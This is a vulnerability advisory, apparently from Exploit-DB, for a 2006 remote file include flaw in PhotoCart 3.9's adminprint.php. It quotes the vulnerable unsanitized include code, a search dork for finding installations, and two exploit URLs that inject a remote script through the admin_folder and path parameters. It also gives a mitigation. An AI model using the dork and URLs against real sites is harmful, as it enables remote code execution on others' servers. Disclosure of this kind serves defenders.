PhotoCart 3.9 (adminprint.php) Remote File Include Vulnerability

vendor:

PhotoCart

by:

irvian

7,5

CVSS

HIGH

Remote File Include

CWE

Product Name: PhotoCart

Affected Version From: 3.9

Affected Version To: 3.9

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

PhotoCart 3.9 (adminprint.php) Remote File Include Vulnerability

PhotoCart 3.9 is vulnerable to a remote file include vulnerability. This vulnerability is due to the 'adminprint.php' script not properly sanitizing user input supplied through the 'admin_folder' and 'path' parameters. This can be exploited to include arbitrary files from remote locations by passing an URL as the parameter value. Successful exploitation requires that 'allow_url_fopen' is enabled.

Mitigation:

Disable 'allow_url_fopen' in php.ini.

Source

Exploit-DB raw data:

#####################################################################################################
#
# PhotoCart 3.9 (adminprint.php) Remote File Include Vulnerability
# Script site: http://www.picturespro.com/store/programs/129-photo_cart.html
# Dork       : inurl :/PhotoCart/
#
#####################################################################################################
##
##
## Bug Found By : irvian
##
##
####################################################################################################
###
### GreetZ: jipank,kacung,trangkil,ibnusina,cah|gemblunkz,zoid
### Special greetz: #patihack #hitamputih #nyubicrew
###
#####################################################################################################

bug found on /PhotoCart/adminprint.php

include "setup.php";
$path = "$path";
$path = "$path";
include "$admin_folder/_admin_functions.php";
include "$path/_db.php";
    adminsessionCheck();


Expl: http://www.site.com/PhotoCart/adminprint.php?admin_folder=[evil_scripts]
      http://www.site.com/PhotoCart/adminprint.php?path=[evil_scripts]

# milw0rm.com [2006-11-21]